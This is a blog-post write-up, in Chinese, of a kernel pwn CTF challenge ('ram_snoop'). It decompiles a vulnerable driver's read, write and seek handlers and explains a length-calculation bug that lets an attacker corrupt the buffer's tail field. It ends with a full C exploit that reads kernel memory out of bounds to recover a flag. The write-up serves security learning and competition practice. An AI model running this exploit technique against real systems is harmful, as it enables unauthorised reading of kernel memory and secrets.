2025国赛初赛ram_snoop wp

yfor

题目链接

https://github.com/yfor-yfor/-/tree/main/2025%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9B

题目分析

一道kernel pwn,漏洞点在于可以修改data的head和tail值,做到任意读

init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

echo "[*] Welcome to Kernel PWN Environment"
echo "[*] Starting shell..."

insmod /home/babydev.ko
chmod 777 /dev/noc /tmp
cp /proc/kallsyms /tmp/coresysms.txt
/home/eatFlag &

exec /bin/sh

值得注意的点是,会执行一个叫eatFlag的二进制文件,核心内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 flag_init()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = fopen64("/flag");
if ( !v1 )
{
puts("failed to open /flag");
exit(0xFFFFFFFFLL);
}
flag = malloc(256LL, &unk_405000);
if ( !flag )
{
puts("failed to malloc");
exit(0xFFFFFFFFLL);
}
fread_unlocked(flag, 1LL, 256LL, v1);
fclose(v1);
return remove("/flag");
}

会创建一个堆块,读入flag内容,并且删除flag文件

start.sh

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off" \
-cpu qemu64,+smep,+smap \
-smp cores=2,threads=1 \
-nographic \
-snapshot

开启了最常规的几个保护

babydev.ko

ioctl

ioctl的几个操作用不上,可以泄露进程号,进程名,global_buf地址等等

关于能泄露的内容,实际上是对应栈上的几个变量,将他们改成一个结构体如下

感兴趣可以看一看

1
2
3
4
5
6
7
8
struct dest
{
__int32 pid;
char name[16];
__int32 remain;
__int64 distance;
__int64 global_buf_addr;
};

global_buf

1
2
3
4
5
6
struct buf
{
char data[65536];
__int64 head;
__int64 tail;
};

作为题目里的全局变量,对应的结构体内容如下,head不会改变始终为0

而tail会因为写入内容而增大

read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
__int64 v6; // rcx
__int64 v7; // r8
__int64 head; // rdx
__int64 v9; // rax

v6 = *a4;
v7 = 0LL;
head = global_buf->head;
v9 = global_buf->tail - head;
if ( v6 < v9 )
{
if ( v6 + n0x7FFFFFFF > v9 )
n0x7FFFFFFF = v9 - v6;
if ( n0x7FFFFFFF > 0x7FFFFFFF )
BUG();
if ( copy_to_user(a2, &global_buf->data[v6 + head], n0x7FFFFFFF) )
{
return -14LL;
}
else
{
*a4 += n0x7FFFFFFF;
return n0x7FFFFFFF;
}
}
return v7;
}

区别于常规的read,它具有四个参数,而第四个参数,表示了读入的位置,并且读入成功的话,也会加上读入的长度

write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
__int64 tail; // rax
unsigned __int64 n0x7FFFFFFF_1; // rbx
buf *global_buf; // rax

tail = *a4;
n0x7FFFFFFF_1 = n0x7FFFFFFF;
if ( *a4 > 0xFFFF && tail >= global_buf->tail )
return -105LL;
if ( tail + n0x7FFFFFFF > 0x10000 )
{
n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4; //key
}
else if ( n0x7FFFFFFF > 0x7FFFFFFF )
{
BUG();
}
if ( copy_from_user(&global_buf->data[tail + global_buf->head], a2, n0x7FFFFFFF_1) )
return -14LL;
global_buf = global_buf;
*a4 += n0x7FFFFFFF_1;
global_buf->tail += n0x7FFFFFFF_1;
return n0x7FFFFFFF_1;
}

write与read一样,多了个四参,同时也是控制了输出的起始位置

不过在标注处有一个关键的漏洞,令长度为(unsigned __int16)-*(_WORD *)a4

不难理解,是为了在后续用这一步*a4 += n0x7FFFFFFF_1;让*a4清零

但是如果*a4本身就超过了0x10000呢,比如*a4的值为0x10001,那运算的结果就会是-1,即0xffff

seek

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2)
{
__int64 v3; // rax
__int64 result; // rax
__int64 v5; // r8

v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000);
if ( n2 == 1 )
{
v5 = *(_QWORD *)(a1 + 0x40) + a2;
if ( v5 < 0 )
return -22LL;
}
else
{
if ( n2 != 2 )
{
if ( !n2 && a2 >= 0 && v3 >= a2 )
{
v5 = a2;
goto LABEL_7;
}
return -22LL;
}
v5 = v3 + a2;
if ( v3 + a2 < 0 )
return -22LL;
}
if ( v3 < v5 )
return -22LL;
LABEL_7:
*(_QWORD *)(a1 + 0x40) = v5;
result = v5;
*(_QWORD *)(a1 + 0xB8) = 0LL;
return result;
}

跟lseek函数几乎一样,除了在rdx为SET_END(2)时,lseek此时对于rsi==50的话,表示移动到倒数50的地方,而dev_seek函数是rsi==-50表示移动到倒数50的地方

初步分析

首先,需要想办法读取flag内容,而eatFlag程序结束,对应的堆也消失了,只能够寻找内核中是否有可能存在flag

gdb调试,获取global_buf.data的地址

1
2
pwndbg> p/x $rsi
$2 = 0xffffa1bf02180000

搜索flag字符串所在内存

1
2
3
4
pwndbg> search "flag{123"
Searching for byte: b'flag{123'
[pt_ffffa1bf01fbf] 0xffffa1bf074be050 'flag{12321321312312}'
[pt_ffffffffbaa25] 0xffffffffbacbe050 'flag{12321321312312}'
1
2
pwndbg> distance 0xffffa1bf02180000 0xffffa1bf074be050
0xffffa1bf02180000->0xffffa1bf074be050 is 0x533e050 bytes (0xa67c0a words)

最终得到,这个字段在global_buf.data外

并且多次测试发现,大概在0x5000000左右(注意,关闭kaslr时,flag好像就不会在global_buf.data正偏移处了)

而我们的data只有0x10000的可以用长度,所以为了读取到flag,必须攻击tail指针,使得我们可以读取远超合法范围的数据

漏洞利用流程

在利用前,需对read,write的第四个参数做一些测试

很明显,表示了读取或者输出的位置

而lseek函数,同样能修改读取和输出的位置,因为他修改的指针0x40偏移处的内容就是f_pos

1
+0x40  loff_t              f_pos;   

而经过测试发现,lseek中对fpos的修改,能够影响到read,write的第四个参数进入时的取值

有两种让tail变得很大的方法:

  1. 1
    2
    3
    4
    5
    for (int i=0;i<=5000;i++){
    lseek(dev_fd,0, SEEK_SET);//令pos=0
    write(dev_fd,buf,0x10000);//令pos=0x10000 tail+==0x10000
    //而write时会检查pos+length<0x10000,所以下一步循环继续清零pos
    }

    这个方法不断循环,就能让tail变得很大,但很显然不够优雅

  2. 1
    2
    3
    4
    5
    6
    write(dev_fd,buf,0x10000);//令pos=0x10000 tail=0x10000
    lseek(dev_fd,0, SEEK_SET);//令pos=0
    write(dev_fd,buf,0x10000);//绕过检查,成功使pos=0x10000 tail=0x20000
    lseek(dev_fd,8, SEEK_CUR);//表示令pos=0x10008
    buf[0]=0x7FFFFFFFFFFFFFFF - 0xFFF8;
    write(dev_fd,buf,0x8);//污染tail为0x7FFFFFFFFFFFFFFF,从而任意正偏移读取

    这里利用到了write处存在的漏洞

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    if ( *a4 > 0xFFFF && tail >= global_buf->tail )
    return -105LL;
    //因为这一步攻击时,我们的pos=0x10008,所以会令第一个表达式为真,为了继续后续的攻击,我们要让第二个表达式为假
    //tail就是*a4,意思就是pos需要<tail,也就是tail>0x10008,这就是我们前面令tail=0x20000的原因
    if ( tail + n0x7FFFFFFF > 0x10000 )
    {
    n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4;
    }
    //此时让n0x7FFFFFFF_1=0xFFF8
    global_buf->tail += n0x7FFFFFFF_1;
    //而tail被我们覆盖为了0x7FFFFFFFFFFFFFFF - 0xFFF8
    //加法完tail就是0x7FFFFFFFFFFFFFFF

后续就不断地读取并且搜索flag字段即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define _GNU_SOURCE
#include "yfor-kernel.h"
int main() {
int dev_fd = open("/dev/noc", O_RDWR);
if (dev_fd < 0) {
error("open failed");
}
size_t* buf=malloc(0x20000);
char data[0x20000]={};
write(dev_fd,buf,0x10000);
lseek(dev_fd,0, SEEK_SET);
write(dev_fd,buf,0x10000);
lseek(dev_fd,8, SEEK_CUR);
buf[0]=0x7FFFFFFFFFFFFFFF - 0xFFF8;
write(dev_fd,buf,0x8);
for (int i=1;i<=5000;i++){
read(dev_fd,data,0x10000);
for (int j=0;j<=0x10000-5;j++)
if (memcmp(&data[j], "flag{", 5) == 0)
{
info("wrting flag");
for (int k=j;data[k]!='}';k++)
printf("%c",data[k]);
printf("}");
return 0;
}
}
error("failed to find flag");
return 0;
}
  • Title: 2025国赛初赛ram_snoop wp
  • Author: yfor
  • Created at : 2025-12-30 22:23:25
  • Updated at : 2025-12-30 22:41:36
  • Link: https://yfor-yfor.github.io/2025/12/30/2025国赛ram_snoop-wp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments